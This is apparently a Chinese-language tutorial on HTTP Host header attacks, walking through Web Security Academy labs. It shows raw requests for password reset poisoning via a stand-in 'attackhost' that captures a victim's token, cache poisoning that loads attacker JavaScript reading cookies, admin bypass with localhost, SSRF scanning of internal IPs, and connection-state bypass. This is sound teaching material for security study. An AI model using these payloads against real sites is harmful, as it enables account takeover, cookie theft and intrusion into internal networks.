HOST header attack

Host header的目的是幫助識別客戶端想要與哪個後端元件進行通訊,特別是同一 IP 位址存取多個網站和應用程式,而這種方式也越來越常見,以下是常見的host header用法

  • Virtual hosting(虛擬主機):單一 Web 伺服器託管多個網站或應用程式
  • 透過中介路由流量:網站託管在不同的後端伺服器上,但客戶端和伺服器之間的所有流量都透過中間路由,例如load balancer,proxy或CDN

Host header攻擊的原理是利用網站沒有安全的處理host header。如果伺服器信任Host header,且無法正確驗證或轉義它,則攻擊者能夠使用此弱點注入惡意內容操縱伺服器端行為,常見的攻擊手法如下

  • 重改連結位置
  • 利用第2個host快取投毒
  • 饒過訪問限制
  • 透過SSRF尋找可用的攻擊目標


重改連結位置

如果host能改變重置密碼連結位置,就可以重置其他帳戶的密碼

舉例來說,重設wiener的密碼,正常請求如下

POST /forgot-password HTTP/1.1
Host: ac1f1ffb1f9803ae8051074b00840063.web-security-academy.net
...omit...
csrf=szHcBtBH1NE45ojxzfC6RZwFOW1bFvUK&username=wiener

wiener會收到EMAIL,內含重設密碼連結,而該連結是由host的名稱產生的

https://ac1f1ffb1f9803ae8051074b00840063.web-security-academy.net/forgot-password?temp-forgot-password-token=hibaemuoGikE0EFPmL2NJysIW7ITQrR3

只要訪問該連結,就能更改wiener的密碼

由於重置密碼連結是由host的名稱產生的,因此可透過更改host來改變重置密碼連結的位置

如下,將HOST換成attackhost ,並將對象改為carlos後送出

POST /forgot-password HTTP/1.1
Host: attackhost
...omit...
csrf=szHcBtBH1NE45ojxzfC6RZwFOW1bFvUK&username=carlos

carlos就會收到內含重設密碼連結的email,一旦觸發該連結,就會在attackhost 留下記錄

查看attackhost的日志,就會發現有重設carlos密碼的token

...omit...
"GET /forgot-password?temp-forgot-password-token=uNQWMvdzD999NewFNqUQdDeno2CjzUtc HTTP/1.1" 302
...omit...

只要訪問改密碼的連結搭配uNQWMvdzD999NewFNqUQdDeno2CjzUtc ,就能改carlos的密碼,如下

https://ac1f1ffb1f9803ae8051074b00840063.web-security-academy.net/forgot-password?temp-forgot-password-token=uNQWMvdzD999NewFNqUQdDeno2CjzUtc

lab:Basic password reset poisoning


利用第2個host快取投毒

如果發現第2個host內容會出現在返回結果中,那就可以對目標做快取投毒,如下

############## attack request #############
	GET / HTTP/1.1
	Host: ac5c1fd31e485e0b800754bc00f00060.web-security-academy.net
	Host: attackhost
	...omit...

############## attack response #############
	HTTP/1.1 200 OK
	Content-Type: text/html; charset=utf-8
	Keep-Alive: timeout=0
	Cache-Control: max-age=30
	Age: 7
	X-Cache: hit
	...omit...
	        <script type="text/javascript" src="//attackhost/resources/js/tracking.js"></script>
	...omit...

只要在attackhost/resources/js/tracking.js準備攻擊代碼,就可利用快取投毒攻擊

例如,想顯示cookie,我就可以在這代碼內寫alert(document.cookie)

Lab: Web cache poisoning via ambiguous requests


饒過防問限制

訪問admin時返回只限本地訪問

############## request #############
https://ac801f621fff3b37806a2e2e009a00b5.web-security-academy.net/admin

...omit...

############## response #############
...omit...
Admin interface only available to local users

因為目標存在漏洞,因此將host改為本地即可符合目標需求,成功饒過保護訪問admin

https://ac801f621fff3b37806a2e2e009a00b5.web-security-academy.net/admin
host: localhost
...omit...

Lab: Host header authentication bypass


透過SSRF尋找可用的攻擊目標

更改host名稱為其他主機並發送請求時,其他主機能收到請求,這表示存在SSRF問題,

舉例如下,請求時將host改為Collaboratorclienturl

GET / HTTP/1.1
Host:  Collaboratorclienturl
...omit...

在Collaboratorclienturl主機中會看到剛剛請求的日志

假如我知道目標網段為192.168.0.0/24,就可利用host發動SSRF做IP掃描

如下,將Host設為192.168.0.1並送出請求,並重覆一直到192.168.0.255

 GET / HTTP/1.1
 Host: 192.168.0.1
 ...omit...

一旦返回發現結果,就可以對該目標規劃後續攻擊活動

############## request #############
GET /
Host: 192.168.0.245
...omit...	

############## response #############
HTTP/1.1 302 Found
Location: /admin
Connection: close
Content-Length: 0

Lab: Routing-based SSRF


其他補充

利用有缺陷的請求饒過保護機制

有時候會發現改host後,被目標網站拒絕訪問,如下

############## request #############
GET / HTTP/1.1
Host: Collaboratorclienturl
...omit...

############## response #############
HTTP/1.1 403 Forbidden

這時候可以調整下請求,例如使用絕對路徑訪問,或許可以饒過這個限制,如下

############## request #############
GET https://ac4f1f031f2b9dfe81f1a54200720050.web-security-academy.net/ HTTP/1.1
Host: Collaboratorclienturl
...omit...

############## response #############
HTTP/1.1 200 OK

Lab: SSRF via flawed request parsing


利用連線狀態饒過host保護機制

有些服務器設計不良,可能僅對透過新連線收到的第一個請求執行徹底驗證的伺服器。在這種情況下,可以先發送正常的請求,然後在透過相同連線發送惡意請求來繞過保護機制。

舉例如下,正常訪問admin會顯示找不到

############## request #############
	GET /admin/ HTTP/1.1
	Host: 0aa800dc0439cfa8c06ea77f0039001f.web-security-academy.net
	...omit..

############## response #############
	HTTP/1.1 404 Not Found
	Content-Type: application/json; charset=utf-8
	Connection: close
	Content-Length: 11
	
	"Not Found"

將host改為192.168.0.1會被重導回原本的位置

request
	GET /admin/ HTTP/1.1
	Host: 192.168.0.1
	...omit...
response 
	HTTP/1.1 301 Moved Permanently
	Location: https://0aa800dc0439cfa8c06ea77f0039001f.web-security-academy.net/
	Connection: close
	Content-Length: 0

但由於目標有連線狀態的漏洞,因此可以利用這個問題去饒過保護機制,只要在burpsuite的repeater中,將以下2個請求合為一個group

第一個請求,訪問首頁後加Connection: keep-alive

GET / HTTP/1.1
Host: 0aa800dc0439cfa8c06ea77f0039001f.web-security-academy.net
...omit...
Connection: keep-alive

第二個請求,訪問admin,並更改host為192.168.0.1

GET /admin HTTP/1.1
Host: 192.168.0.1
...omit...

使用single connection送出這個group請求,第二個請求就會返回以下內容

...omit...
                   <form style='margin-top: 1em' class='login-form' action='/admin/delete' method='POST'>
                        <input required type="hidden" name="csrf" value="z6rxSWRsEj1W8Bzdr7p6iHAUdyKKQ2Ki">
                        <label>Username</label>
                        <input required type='text' name='username'>
                        <button class='button' type='submit'>Delete user</button>
                    </form>
...omit...

成功饒過目標保護機制

Lab: Host validation bypass via connection state attack